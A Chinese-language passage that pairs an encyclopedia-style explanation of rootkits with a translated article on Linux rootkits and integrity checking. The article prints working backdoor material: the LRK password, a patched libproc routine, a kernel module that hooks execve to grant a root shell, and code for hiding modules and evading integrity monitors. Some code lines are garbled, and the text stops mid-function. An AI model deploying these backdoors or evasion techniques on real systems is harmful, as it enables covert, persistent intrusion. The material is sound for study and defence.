rootkit
Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。
外文名 rootkit
rootkit是什么
在悬念迭起的中外谍战片里,对战双方中的一派势力通常会派遣特工人员潜伏到对手阵营中。这名卧底人员良好的伪装使得对手对此长时间毫无察觉;为了能够长期潜伏他不贸然采取高风险
行为以免过早暴露自己;他赢得敌人的信任并因此身居要职,这使得他能够源源不断地获取重要情报并利用其独特渠道传送回去。
从某种意义上说这位不速之客就是Rootkit——持久并毫无察觉地驻留在目标计算机中,对系统进行操纵、并通过隐秘渠道收集数据的程序。Rootkit的三要素就是:隐藏、操纵、收集数据。
“Rootkit”中root术语来自于unix领域。由于unix主机系统管理员账号为root账号,该账号拥有最小的安全限制,完全控制主机并拥有了管理员权限被称为“root”了这台电脑。然而能够“
root”一台主机并不意味着能持续地控制它,因为管理员完全可能发现了主机遭受入侵并采取清理措施。因此Rootkit的初始含义就在于“能维持root权限的一套工具”。
简单地说,Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用
。Rootkit通过加载特殊的驱动,修改系统内核,进而达到隐藏信息的目的。
NSA安全和入侵检测术语字典( NSA Glossary of Terms Used in Security and Intrusion Detection)对rootkit的定义如下:A hacker security tool that captures passwords and
message traffic to and from a computer. A collection of tools that allows a hacker to provide a backdoor into a system, collect information on other systems on the
network,mask the fact that the system is compromised, and much more. Rootkit is a classic example of Trojan Horse software. Rootkit is available for a wide range of
operating systems.
rootkit并不一定是用作获得系统root访问权限的工具。实际上,rootkit是攻击者用来隐藏自己的踪迹和保留root访问权限的工具。通常,攻击者通过远程攻击获得root访问权限,或者首先
密码猜测或者密码强制破译的方式获得系统的访问权限。进入系统后,如果他还没有获得root权限,再通过某些安全漏洞获得系统的root权限。接着,攻击者会在侵入的主机中安装rootkit,
然后他将经常通过rootkit的后门检查系统是否有其他的用户登录,如果只有自己,攻击者就开始着手清理日志中的有关信息。通过rootkit的嗅探器获得其它系统的用户和密码之后,攻击者
就会利用这些信息侵入其它的系统。
rootkit的历史
最早Rootkit用于善意用途,但后来Rootkit也被骇客用在入侵和攻击他人的电脑系统上,电脑病毒、间谍软件等也常使用Rootkit来隐藏踪迹,因此Rootkit已被大多数的防毒软件归类为具危
害性的恶意软件。Linux、Windows、Mac OS等操作系统都有机会成为Rootkit的受害目标。
Rootkit出现于二十世纪90年代初,在1994年2月的一篇安全咨询报告中首先使用了rootkit这个名词。这篇安全资讯就是CERT-CC的CA-1994-01,题目是Ongoing Network Monitoring Attacks
,最新的修订时间是1997年9月19日。从出现至今,rootkit的技术发展非常迅速,应用越来越广泛,检测难度也越来越大。
典型特征及危害
rootkit介绍Rootkit是一种奇特的程序,它具有隐身功能:无论静止时(作为文件存在),还是活动时,(作为进程存在),都不会被察觉。换句话说,这种程序可能一直存在于我们的计算
机中,但我们却浑然不知,这一功能正是许多人梦寐以求的——不论是计算机黑客,还是计算机取证人员。黑客可以在入侵后置入Rootkit,秘密地窥探敏感信息,或等待时机,伺机而动;取
证人员也可以利用Rootkit实时监控嫌疑人员的不法行为,它不仅能搜集证据,还有利于及时采取行动!
Rootkit 的目的在于隐藏自己以及不被其他软件发现。它可以通过阻止用户识别和删除攻击者的软件来达到这个目的。Rootkit 几乎可以隐藏任何软件,包括文件服务器、键盘记录器、
Botnet 和 Remailer。许多 Rootkit 甚至可以隐藏大型的文件集合并允许攻击者在您的计算机上保存许多文件,而您无法看到这些文件。
Rootkit攻击方式多针对类似敏感数据剽窃这样的环节,那么某企业或政府组织“中央服务器”一类设备自然是植入Rootkit的首选目标,可这样的主机设备往往防护严密,不能轻易得手。我
们知道数据并不是静止的存放在服务器中,它往往在机构的网络中流动。机构中级别较高的人员常会拥有对这些设备数据的读写权限,但他们所拥有的个人电脑的防护级别却通常比中央服务
器要低,这就会给剽窃数据的黑客以可趁之机——将Rootkit程序植入相关人员的个人电脑,并默默的安家,不时地传回重要数据。
原理
针对SunOS和Linux两种操作系统的rootkit最多。所有的rootkit基本上都是由几个独立的程序组成的,一个典型rootkit包括:
1 以太网嗅探器程程序,用于获得网络上传输的用户名和密码等信息。
2 特洛伊木马程序,例如:inetd或者login,为攻击者提供后门。
3 隐藏攻击者的目录和进程的程序,例如:ps、netstat、rshd和ls等。
4 可能还包括一些日志清理工具,例如:zap、zap2或者z2,攻击者使用这些清理工具删除wtmp、utmp和lastlog等日志文件中有关自己行踪的条目。
一些复杂的rootkit还可以向攻击者提供telnet、shell和finger等服务。
还包括一些用来清理/var/log和/var/adm目录中其它文件的一些脚本。
攻击者使用rootkit中的相关程序替代系统原来的ps、ls、netstat和df等程序,使系统管理员无法通过这些工具发现自己的踪迹。接着使用日志清理工具清理系统日志,消除自己的踪迹。然
后,攻击者会经常地通过安装的后门进入系统查看嗅探器的日志,以发起其它的攻击。如果攻击者能够正确地安装rootkit并合理地清理了日志文件,系统管理员就会很难察觉系统已经被侵入
,直到某一天其它系统的管理员和他联系或者嗅探器的日志把磁盘全部填满,他才会察觉已经大祸临头了。但是,大多数攻击者在清理系统日志时不是非常小心或者干脆把系统日志全部删除
了事,警觉的系统管理员可以根据这些异常情况判断出系统被侵入。不过,在系统恢复和清理过程中,大多数常用的命令例如ps、df和ls已经不可信了。许多rootkit中有一个叫做FIX的程序
,在安装rootkit之前,攻击者可以首先使用这个程序做一个系统二进制代码的快照,然后再安装替代程序。FIX能够根据原来的程序伪造替代程序的三个时间戳(atime、ctime、mtime)、date
、permission、所属用户和所属用户组。如果攻击者能够准确地使用这些优秀的应用程序,并且在安装rootkit时行为谨慎,就会让系统管理员很难发现。
如何发现rootkit及其应对措施
很显然,只有使你的网络非常安全让攻击者无隙可乘,才能是自己的网络免受rootkit的影响。不过,恐怕没有人
Rootkit 本身不会像病毒或蠕虫那样影响计算机的运行。攻击者可以找出目标系统上的现有漏洞。漏洞可能包括:开放的网络端口、未打补丁的系统或者具有脆弱的管理员密码的系统。在获
得存在漏洞的系统的访问权限之后,攻击者便可手动安装一个 Rootkit。这种类型的偷偷摸摸的攻击通常不会触发自动执行的网络安全控制功能,例如入侵检测系统。
找出 Rootkit 十分困难。有一些软件包可以检测 Rootkit。这些软件包可划分为以下两类:基于签名的检查程序和基于行为的检查程序。基于签名(特征码)的检查程序,例如大多数病毒扫
描程序,会检查二进制文件是否为已知的 Rootkit。基于行为的检查程序试图通过查找一些代表 Rootkit 主要行为的隐藏元素来找出 Rootkit。一个流行的基于行为的 Rootkit 检查程序是
Rootkit Revealer.
在发现系统中存在 Rootkit 之后,能够采取的补救措施也较为有限。由于 Rootkit 可以将自身隐藏起来,所以您可能无法知道它们已经在系统中存在了多长的时间。而且您也不知道
Rootkit 已经对哪些信息造成了损害。对于找出的 Rootkit,最好的应对方法便是擦除并重新安装系统。虽然这种手段很严厉,但是这是得到证明的唯一可以彻底删除 Rootkit 的方法。
防止 Rootkit 进入您的系统是能够使用的最佳办法。为了实现这个目的,可以使用与防范所有攻击计算机的恶意软件一样的深入防卫策略。深度防卫的要素包括:病毒扫描程序、定期更新软
件、在主机和网络上安装防火墙,以及强密码策略等。
========
Root-kit和完整性
危险就在你身边
我们假设一个骇客已经悄悄的进入了一个系统,并且他拥有这个系统的所有权限(administrator, root...)。这个系统变的不可信了,即使任何工具都报告系统没有任何异常。骇客清除了他
在日志里的所有足迹...事实上,他已经安逸的安装在你的系 统里了 。
他第一个目标就是尽可能慎重的不让管理员发现他的存在,接着他将装上他所需的工具。当然,如果他想毁掉所有的数据的话,他不必那么小心翼翼.
明 显,管理员不可能一直监视着他的计算机的每个连接,但是他必须最快的检测出讨厌的入侵. 这个受害的系统变成了这个骇客的程序的跳板 (IRC机器人,分布式拒绝服务攻击, ...). 例
如,用一个嗅探器,他可以截获这个网络中所有的数据包。许多协议都没有加密数据和密码的(例如 telnet, rlogin, pop3, 等等). 因此,骇客有越多的时间,他就可以获得更加多受害系统
附近的计算机的信息,从而控制更加多的系统.
一旦他被发现,另一个问题又来了:我们不知道骇客给系统做了什么手脚,他可能破坏了基本的命令和检测工具来隐藏自己。还有,我们必须非常非常细心,不能疏忽任何事情,否则这个系统
可能再次被入侵.
最后的问题涉及到需要采取的措施,这里有两个方法, 要么管理员重装整个系统,要么就替换被做了手脚的文件。如果你觉得完全重新安装需要太长的时间,你可以查找被修改过的文件,但
是不能有任何疏忽,这个是需要很细心的。
无论你首选哪个方法,建议你给被入侵的系统做一个备份,这样可以发现骇客如何隐藏自己的.另外,这个机器可能参加了其他更加大规模的,或许会触犯法律的攻击,如果不做备份的话,你
可能会被认为是知情不报。
虽然很难发现 ...但是我已经发现了!
在这里,我们讨论使用一些让自己在拥有受害系统的最高权限同时又不被发现的方法。
在我们进入正题之前,我们定义几个术语:
特洛依(trojan) :一种表面看似普通,本身却有一些其他的隐含功能的程序,比如他可以隐藏系统数据令你看不到当前的一些网络连接。
后门(backdoor) :一个非法的,可以让别人轻易的无声无息的登陆你的机器的程序。
一旦入侵者进入一个系统,他就需要上面两种程序。后门可以让他在即使管理员多次改变所有密码之后也可以轻易进入系统,而特洛依就可以让他达到隐藏他的踪迹的目的。
我们在这里不关注某个程序到底是后门还是特洛依,我们的目的是使用现有的方法去安装他们和发现他们。
几 乎所有的Linux发行版都有一个验证机制(例如使用rpm --checksig来比较当前文件和原始文件,我们强烈建议你在安装任何软件之前就做这个检测,如果你在那之前得到并安装了一个有恶
意的程序,那么入侵 者几乎可以做任何他想做的事情,包括在你做rpm检测的时候做手脚,就好象一个中了Back Orifice的windows系统一样。
替换二进制文件
很久以前,在Unix系统中发现入侵者并不是一件很困难的事情:
last命令可以显示出入侵者用什么帐号,在什么时候,使用哪个IP登陆到系统
ls命令显示文件,ps命令列出当前的进程(包括嗅探器或密码破解程序) ;
netstat命令列出当前网络连接状况;
ifconfig命令可以得知网卡是不是处于混杂模式
从 那时起,入侵者就在开发一些替换掉他们的程序,就象希腊故事中的Greeks使用一个木马来攻入特洛依城一样,这些程序看起来很熟悉并且被管理员所信任, 但事实上他们隐藏了入侵者
的足迹,并可以把某个文件的时标(timestamp)设置的和这个目录下的其他程序的时标一样,并且让检验和保持不变,这样我 们可爱的管理员就被欺骗了。
Linux Root-Kit
Linux Root-Kit(LRK)是这类程序中的经典之作(虽然他有点落伍),他最初由Lord Somer开发,现在已经更新到了第五版,虽然现在有很多类似的程序,但是我们在这里只讨论他所拥有的功
能和特点。
这些被替换的二进制程序拥有访问系统的权限,并且有密码保护(缺省是satori),并且这个密码是可以在编译的时候设置的
特洛依会隐藏入侵者的踪迹
ls, find, locate, xargs或者du不会显示他的文件;
ps, top or pidof不会显示他的进程;
netstat也不会显示入侵者不希望显示的,例如 bindshell, bnc或 eggdrop;
killall不会杀掉他的进程;
ifconfig不会显示网卡处于混杂模式(如果本来就是混杂模式的话,那就仍然显示"PROMISC");
crontab不会显示他的计划任务;
tcpd不会记录配置文件中定义的连接
syslogd和tcpd一样.
后门可以让入侵者很容易再次进入系统:
当你把root-kit密码当做用户名输入的时候,chfn就会打开一个root shell;
当你把root-kit密码当做一个新的shell输入的时候,chsh就会打开一个root shell;
当你把root-kit密码当做密码输入的时候,passwd就会打开一个root shell;
当你输入root-kit密码的时候,你就可以轻易的通过login成为root(然后取消history功能);
su和login一样 ;
这些进程守护程序为入侵者提供了最直接的远程访问方法:
inetd安装一个root shell监听一个端口,在连接之后,必须输入root-kit密码;
如果把root-kit密码当做用户名输入,rshd将以root身份执行任何命令;
sshd和login相似的远程的登陆;
这些工具帮助入侵者::
fix installs the corrupt program keeping the original timestamp and checksum;
linsniffer captures the packets, get passwords and more;
sniffchk checks that the sniffer is still working;
wted allows wtmp file editing;
z2 deletes the unwanted entries in wtmp, utmp and lastlog;
这些经典的root-kit现在已经过时了,不再被人们所使用,而新一代的root-kit直接攻击系统内核以实现更加强大的功能。
检测这类root-kit
这类root-kit很容易被发现,比如使用系统的MD5校验功能:
[lrk5/net-tools-1.32-alpha]# md5sum ifconfig
086394958255553f6f38684dad97869e ifconfig
[lrk5/net-tools-1.32-alpha]# md5sum `which ifconfig`
f06cf5241da897237245114045368267 /sbin/ifconfig
虽然我们不知道被改动了什么东西,但是我们可以很容易的在MD5校验和的结果发现原始的ifconfig程序和lrk5的ifconfig大小是不一样的。
因此在我们安装完一个系统之后,把重要文件的校验和备份到一个数据库中,并且下次当你升级你的系统的时候,你必须重新做一次备份。
这 个数据库必须放在一个物理上不可写的介质中(软盘,CD盘),因为假设入侵者得到了root权限,而这个数据库就算放在一个只读的分区中,他可以重新挂接 这个分区为可读写模式,修
改他需要修改的地方,最后再重新把这个分区挂接成只读分区。如果他够细心的话,他还会修改时标(timestamps),这样下 次你检测系统的完整性的时候,你不会发现任何异样。
不管使用什么方法,检测系统完整性需要两个条件:
计算出来的校验和数据必须保存在一个只读的介质中;
用来检测系统完整性的工具必须是"干净"的;
也就是说,每一个检测工具都必须来自一个没有被入侵的系统中
使用动态库文件
正如我们所见,要想不被管理员发现,他们需要改动许多地方,并且有许多方法可以发现他们的踪迹。
今时今日,为了避免过大的程序,许多二进制程序都使用动态库文件。为了解决上面的问题,最简单的方法不是改变每个二进制程序,而是把所需要的函数放到库文件中去。
比如一个入侵者在重新启动计算机之后打算修改机器的运行时间,机器的运行时间可以通过uptime, w, top等命令得到。
我们可以使用ldd命令得知这些二进制文件所需要的库文件:
[pappy]# ldd `which uptime` `which ps` `which top`
/usr/bin/uptime:
libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
libc.so.6 => /lib/libc.so.6 (0x40032000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
/bin/ps:
libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
libc.so.6 => /lib/libc.so.6 (0x40032000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
/usr/bin/top:
libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
libncurses.so.5 => /usr/lib/libncurses.so.5 (0x40032000)
libc.so.6 => /lib/libc.so.6 (0x40077000)
libgpm.so.1 => /usr/lib/libgpm.so.1 (0x401a4000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
我们尝试修改libproc.so库文件,这里使用2.0.7版本,他可以在$PROCPS目录找到
uptime 的代码(在uptime.c文件中)告诉我们可以通过查找print_uptime()函数(在$PROCPS/proc/whattime.c)和 uptime(double *uptime_secs, double *idle_secs)函数(in
$PROCPS/proc/sysinfo.c)让我们按照我们的需要做出修改:
/* $PROCPS/proc/sysinfo.c */
1: int uptime(double *uptime_secs, double *idle_secs) {
2: double up=0, idle=1000;
3:
4: FILE_TO_BUF(UPTIME_FILE,uptime_fd);
5: if (sscanf(buf, "%lf %lf", &up, &idle) < 2) {
6: fprintf(stderr, "bad data in " UPTIME_FILE "\n");
7: return 0;
8: }
9:
10: #ifdef _LIBROOTKIT_
11: {
12: char *term = getenv("TERM");
13: if (term && strcmp(term, "satori"))
14: up+=3600 * 24 * 365 * log(up);
15: }
16: #endif /*_LIBROOTKIT_*/
17:
18: SET_IF_DESIRED(uptime_secs, up);
19: SET_IF_DESIRED(idle_secs, idle);
20:
21: return up; /*假设在实际中运行时间不会是0秒*/
22: }
在原来的基础上添加了第10至16行,改变了函数的输出结果。如果TERM的环境变量不包含"satori"(也就是rootkit密码)的话,就不会改变原来的输出。
在编译我们的新库的时候,我们使用-D_LIBROOTKIT_和-lm参数,当我们使用ldd命令查看uptime功能所使用的库文件的时候,我们可以发现libm在其中。但是在我们使用新的库的时候,会出
点错误:
[procps-2.0.7]# ldd ./uptime //新编译的libproc.so
libm.so.6 => /lib/libm.so.6 (0x40025000)
libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40046000)
libc.so.6 => /lib/libc.so.6 (0x40052000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[procps-2.0.7]# ldd `which uptime` //原来的程序
libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
libc.so.6 => /lib/libc.so.6 (0x40031000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[procps-2.0.7]# uptime //原来的程序
uptime: error while loading shared libraries: /lib/libproc.so.2.0.7:
undefined symbol: log
在创建libproc.so的时候,想避免编译每个程序,最好强制使用静态库:
gcc -shared -Wl,-soname,libproc.so.2.0.7 -o libproc.so.2.0.7
alloc.o compare.o devname.o ksym.o output.o pwcache.o
readproc.o signals.o status.o sysinfo.o version.o
whattime.o /usr/lib/libm.a
这样,log()函数就直接包含在libproc.so中了,被修改过的库必须和原来的库保持一样的模块信任关系,否则二进制文件将不能工作 。
[pappy]# uptime
2:12pm up 7919 days, 1:28, 2 users, load average: 0.00, 0.03, 0.00
[pappy]# w
2:12pm up 7920 days, 22:36, 2 users, load average: 0.00, 0.03, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
raynal tty1 - 12:01pm
1:17m 1.02s 0.02s xinit /etc/X11/
raynal pts/0 - 12:55pm
1:17m 0.02s 0.02s /bin/cat
[pappy]# top
2:14pm up 8022 days, 32 min, 2 users, load average: 0.07, 0.05, 0.00
51 processes: 48 sleeping, 3 running, 0 zombie, 0 stopped
CPU states: 2.9% user, 1.1% system, 0.0% nice, 95.8% idle
Mem: 191308K av, 181984K used, 9324K free, 0K shrd, 2680K buff
Swap: 249440K av, 0K used, 249440K free 79260K cached
[pappy]# export TERM=satori
[pappy]# uptime
2:15pm up 2:14, 2 users, load average: 0.03, 0.04, 0.00
[pappy]# w
2:15pm up 2:14, 2 users, load average: 0.03, 0.04, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
raynal tty1 - 12:01pm
1:20m 1.04s 0.02s xinit /etc/X11/
raynal pts/0 - 12:55pm
1:20m 0.02s 0.02s /bin/cat
[pappy]# top
top: Unknown terminal "satori" in $TERM
一切工作正常,看起来top根据TERM环境变量来管理输出。
如果要发现库文件是否被改动,同样你可以检测他们的校验和就可以了,但是很不幸的是,许多管理员并没有太在意这些。他们并没有把这些(/bin, /sbin, /usr/bin, /usr/sbin, /etc...)
目录下的文件做检验和计算。
即使这样,修改动态库文件最危险的不是在于一次修改多个二进制文件,而是在于有些系统完整性检测软件同样使用这些库,这是非常危险的!在一个敏感的系统,所有基本的程序必须静态
编译,以免受到被修改的库文件的影响。
因此,我们刚才使用的md5校验和计算工具也同样面临的这样的危险:
[pappy]# ldd `which md5sum`
libc.so.6 => /lib/libc.so.6 (0x40025000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
他动态的从被我们修改过的libc库中调用函数(使用avec nm -D `which md5sum`检验)。例如,当使用fopen()的时候,先检测路径,如果他匹配一个修改过的文件的时候,就会被重定向到原
来的文件,这样md5校验和计算也就失去了他的意义。
这个简单的例子展示了系统完整性检测工具如果从已经被入侵的系统中调用函数的话,他是多么的容易被欺骗,所以用来做检测的工具必须来自外面"干净"的系统。
现在,我们最好建立一个完全干净的紧急事件响应工具箱来发现入侵者的存在:
用ls来查找他的文件;
用ps来查找他的进程;
用netstat来监视网络连接状况;
用ifconfig来检测网卡的状态;
这些程序是多么的小巧,我们还可以使用其他的程序,例如:
lsof列出系统所有打开的文件;
fuser识别进程打开的文件;
我们可以看到他不但可以用来检测入侵者的存在还可以诊断系统故障.
很明显任何用来做紧急事件处理的工具都必须静态编译,因为动态库出了问题是那么的可怕。
Linux内核模块(LKM)的利用
谁说想控制任何库的任何函数是不可能的?不信?
一种新类型的root-kit横空出世了,他可以攻击内核!!
LKM的范围
正如他的名字一样,LKM工作在内核空间,他可以访问和控制任何东西!
对一个入侵者来说,一个LKM可以:
隐藏文件,比如由sniffer产生的记录;
过滤某些内容,比如把他的IP从日志中删除,隐藏某些进程等等;
跳出某些禁区,比如chroot;
隐藏系统状态,比如网卡的混杂状态;
隐藏进程;
嗅探网络;
安装后门
这个清单完全取决于入侵者的想象能力,当然,管理员同样可使用这些工具或者编写自己的模块来保护系统:
控制模块的添加和删除;
检测文件变化;
禁止某些用户执行某些程序;
在执行某些动作的时候要确认身份(比如把网卡设置成混杂模式)
如何针对LKM采取一些保护措施呢?有个办法就是在编译内核的时候可以禁用模块支持(在CONFIG_MODULES处选择N)。
即使这样,但是把模块装入内存还是有可能的(虽然不那么容易), Silvio Cesare写了一个kinsmod程序,他可以通过/dev/kmem设备攻击内核(详情请读"参考文章"中的"访问/dev/kmem的
kstat").
对模块编程做一个总结,任何东西都依赖于两个函数: init_module()和cleanup_module(),他们不但定义了模块习惯,他们一旦在内核空间执行,他们就可以访问内核的任何东西,比如系统
调用 。
This way in !
这 里我们介绍一个通过LKM安装的后门,我们希望只需要运行/etc/passws就可以通过它得到一个root shell,虽然/etc/passwd不是一个程序,但是我们可以重新引导sys_execve()系统调用
,把他重定向到/bin/sh去,这样我们 就得到了一个root shell了.
这个模块已经在内核2.2.14, 2.2.16, 2.2.19, 2.4.4测试通过,但是在2.2.19smp-ow1(打了Openwall多处理器补丁)的情况下,我们虽然可以得到一个shell,但是并不是root权限。
/* rootshell.c */
#define MODULE
#define __KERNEL__
#ifdef MODVERSIONS
#include
#endif
#include
#include
#include
#include
#include
#include
#include
#if KERNEL_VERSION(2,3,0) < LINUX_VERSION_CODE
#include
#endif
int (*old_execve)(struct pt_regs);
extern void *sys_call_table[];
#define ROOTSHELL "[rootshell] "
char magic_cmd[] = "/bin/sh";
int new_execve(struct pt_regs regs) {
int error;
char * filename, *new_exe = NULL;
char hacked_cmd[] = "/etc/passwd";
lock_kernel();
filename = getname((char *) regs.ebx);
printk(ROOTSHELL " .%s. (%d/%d/%d/%d) (%d/%d/%d/%d)\n", filename,
current->uid, current->euid, current->suid, current->fsuid,
current->gid, current->egid, current->sgid, current->fsgid);
error = PTR_ERR(filename);
if (IS_ERR(filename))
goto out;
if (memcmp(filename, hacked_cmd, sizeof(hacked_cmd) ) == 0) {
printk(ROOTSHELL " Got it:)))\n");
current->uid = current->euid = current->suid =
current->fsuid = 0;
current->gid = current->egid = current->sgid =
current->fsgid = 0;
cap_t(current->cap_effective) = ~0;
cap_t(current->cap_inheritable) = ~0;
cap_t(current->cap_permitted) = ~0;
new_exe = magic_cmd;
} else
new_exe = filename;
error = do_execve(new_exe, (char **) regs.ecx,
(char **) regs.edx, ®s);
if (error == 0)
#ifdef PT_DTRACE /* 2.2 vs. 2.4 */
current->ptrace &= ~PT_DTRACE;
#else
current->flags &= ~PF_DTRACE;
#endif
putname(filename);
out:
unlock_kernel();
return error;
}
int init_module(void)
{
lock_kernel();
printk(ROOTSHELL "Loaded:)\n");
#define REPLACE(x) old_##x = sys_call_table[__NR_##x];\
sys_call_table[__NR_##x] = new_##x
REPLACE(execve);
unlock_kernel();
return 0;
}
void cleanup_module(void)
{
#define RESTORE(x) sys_call_table[__NR_##x] = old_##x
RESTORE(execve);
printk(ROOTSHELL "Unloaded:(\n");
}
现在让我们看看一切是不是如我们所愿:
[root@charly rootshell]$ insmod rootshell.o
[root@charly rootshell]$ exit
exit
[pappy]# id
uid=500(pappy) gid=100(users) groups=100(users)
[pappy]# /etc/passwd
[root@charly rootshell]$ id
uid=0(root) gid=0(root) groups=100(users)
[root@charly rootshell]$ rmmod rootshell
[root@charly rootshell]$ exit
exit
[pappy]#
在经过简单的示范之后,让我们看看内核日志: 这里的syslogd应该配置成记录所有来自内核的信息(kern.* /var/log/kernel in /etc/syslogd.conf):
[rootshell] Loaded:)
[rootshell] ./usr/bin/id. (500/500/500/500) (100/100/100/100)
[rootshell] ./etc/passwd. (500/500/500/500) (100/100/100/100)
[rootshell] Got it:)))
[rootshell] ./usr/bin/id. (0/0/0/0) (0/0/0/0)
[rootshell] ./sbin/rmmod. (0/0/0/0) (0/0/0/0)
[rootshell] Unloaded:(
只 要对他做些改动,他就是管理员的一个不错的系统监视工具,可以把所有执行过的命令全部写到内核日志中去。 The regs.ecx register holds **argv and regs.edx **envp, with the
current structure describing the current task, we get all the needed information to know what is going on at any time.
检测和安全
从管理员的角度来看,普通的完整性检测基本上不能发现这类的模块,下面我们将分析这样一个root-kit留下的蛛丝马迹:
后门: rootshell.o在文件系统中并不是不可见的,最好重新定义sys_getdents()函数,从而令这个文件不被发现;
可见的进程:打开的shell会显示在进程列表之中,这将很明显的暴露自己,在重新定义sys_kill()函数和一个新的SIGINVISIBLE信号之后,就有可能隐藏他的进程(详情请看adore lrk);
包含在模块列表中:lsmod命令可以得到在内存中的模块列表:
[root@charly module]$ lsmod
Module Size Used by
rootshell 832 0 (unused)
emu10k1 41088 0
soundcore 2384 4 [emu10k1]
每当一个模块被加载,他就会被添加到/proc/modules文件中,lsmod读取这个文件并且将他显示出来,所以要想不被显示出来,就得不能让他在/proc/modules中存在:
int init_module(void) {
[...]
if (!module_list->next)
return -1;
module_list = module_list->next;
[...]
}
很不幸的是,我们如果把他从/proc/modules删除的话,并且不把他的地址保存在某个地方,不久之后他就会被从内存中删除。
symbols in /proc/ksyms: this file holds the list of the accessible symbols within the kernel space:
[...]
e00c41ec magic_cmd [rootshell]
e00c4060 __insmod_rootshell_S.text_L281 [rootshell]
e00c41ec __insmod_rootshell_S.data_L8 [rootshell]
e00c4180 __insmod_rootshell_S.rodata_L107 [rootshell]
[...]
在include/linux/module.h中定义了EXPORT_NO_SYMBOLS宏,告诉编译器除了模块本身之外,没有任何函数和变量是可以访问的:
int init_module(void) {
[...]
EXPORT_NO_SYMBOLS;
[...]
}
However, for 2.2.18, 2.2.19 et 2.4.x ( x<=3 - I don't know for the others) kernels, the __insmod_* symbols stay visible. Removing the module from the module_list also
deletes the symbols exported from /proc/ksyms.
一个好的LKM会想尽办法隐藏自己的踪迹,这个问题和解决办法我们在这里都会进行讨论
一 般说来有两个办法来检测这类root-kit,一个就是拿/dev/kmem和/proc的内存内核镜象做比较,一个叫kstat的程序可以搜索整个 /dev/kmem,并且检查当前系统的进程和系统调用等等……
Toby Miller's的文章Detecting Loadable Kernel Modules (LKM) 描述了如何使用kstat来发现这类root-kits.
另外一个方法就是检测所有修改系统调用表的企图。Tim Lawless的St_Michael模块就有这样的监视功能。
正 如我们前面所看到的例子,lkm root-kits是依赖于修改系统调用表的,其中一个解决办法就是备份他们的地址到另外一个表中并且重新定义那些管理 sys_init_module()和
sys_delete_module()模块的调用,这样在装载每一个模块的时候,就有可能校验他们的地址:
/* 来自Tim Lawless的St_Michael模块 */
asmlinkage long
sm_init_module (const char *name, struct module * mod_user)
{
int init_module_return;
register int i;
init_module_return = (*orig_init_module)(name,mod_user);
/*
校验系统调用表是否一样
*/
for (i = 0; i < NR_syscalls; i++) {
if ( recorded_sys_call_table != sys_call_table ) {
int j;
for ( i = 0; i < NR_syscalls; i++)
sys_call_table = recorded_sys_call_table;
break;
}
}
return init_module_return;
}
虽 然这个方法可以解决现有的lkm root-kits问题,但是他远远不完美,而安全就有点象军备竞赛,也就是说这个保护方法有可能被绕过。要去改变系统调用表,为什么不直接去修改系统调
用本身呢?这些在Silvio Cesare的stealth-syscall.txt有详细的描述。攻击用"jump &new_syscall"替换了系统调用代码的开头的字节(这里简单的说一下):
/* 来自Silvio Cesare的stealth_syscall.c (Linux 2.0.35) */
static char new_syscall_code[7] =
"\xbd\x00\x00\x00\x00" /* movl $0,%ebp */
"\xff\xe5" /* jmp *%ebp */
;
int init_module(void)
{
*(long *)&new_syscall_code[1; = (long)new_syscall]
_memcpy(syscall_code, sys_call_table[SYSCALL_NR],
sizeof(syscall_code));
_memcpy(sys_call_table[SYSCALL_NR], new_syscall_code,
sizeof(syscall_code));
return 0;
}
就象我们使用完整性检查来保护我们的二进制文件和库文件一样,我们必须把每个系统调用的校验和保存起来。 We St_Michael修改了init_module()系统调用,这样在每个模块被装载的时候
都会进行一次完整性检测。
即使这样,同样有可能绕过完整性检测(例子来自Tim Lawless, Mixman和我的邮件;代码由Mixman提供):
改变一个非系统调用的函数: 和系统调用是一个道理,在init_module()中,我们修改某个函数的前面的字节(本例是printk())从而使得这个函数"跳"到hacked_printk()
/* 来自Mixman的printk_exploit.c */
static unsigned char hacked = 0;
/* hacked_printk() replaces system call.
Next, we execute "normal" printk() for
everything to work properly.
*/
asmlinkage int hacked_printk(const char* fmt,...)
{
va_list args;
char buf[4096];
int i;
if(!fmt) return 0;
if(!hacked) {
sys_call_table[SYS_chdir] = hacked_chdir;
hacked = 1;
}
memset(buf,0,sizeof(buf));
va_start(args,fmt);
i = vsprintf(buf,fmt,args);
va_end(args);
return i;
}
就这样,init_module()被重新定义,并且确认在装载的时候没有任何系统调用被修改,但是下一次调用printk()的时候,改变就发生了……
针对这种情况,完整性检测必须扩展到所有的内核函数。
使用一个记时器:在init_module()声明一个记时器,在模块被装载之后重置,既然完整性检测发生在模块装载(卸载)的时候,这样攻击将会被忽视,也就是说不会被完整性工具检测到变化
/* Mixman的timer_exploit.c*/
#define TIMER_TIMEOUT 200
extern void* sys_call_table[];
int (*org_chdir)(const char*);
static timer_t timer;
static unsigned char hacked = 0;
asmlinkage int hacked_chdir(const char* path)
{
printk("Some sort of periodic checking could be a solution...\n");
return org_chdir(path);
}
void timer_handler(unsigned long arg)
{
if(!hacked) {
hacked = 1;
org_chdir = sys_call_table[SYS_chdir];
sys_call_table[SYS_chdir] = hacked_chdir;
}
}
int init_module(void)
{
printk("Adding kernel timer...\n");
memset(&timer,0,sizeof(timer));
init_timer(&timer);
timer.expires = jiffies + TIMER_TIMEOUT;
timer.function = timer_handler;
add_timer(&timer);
printk("Syscall sys_chdir() should be modified in a few seconds\n");
return 0;
}
void cleanup_module(void)
{
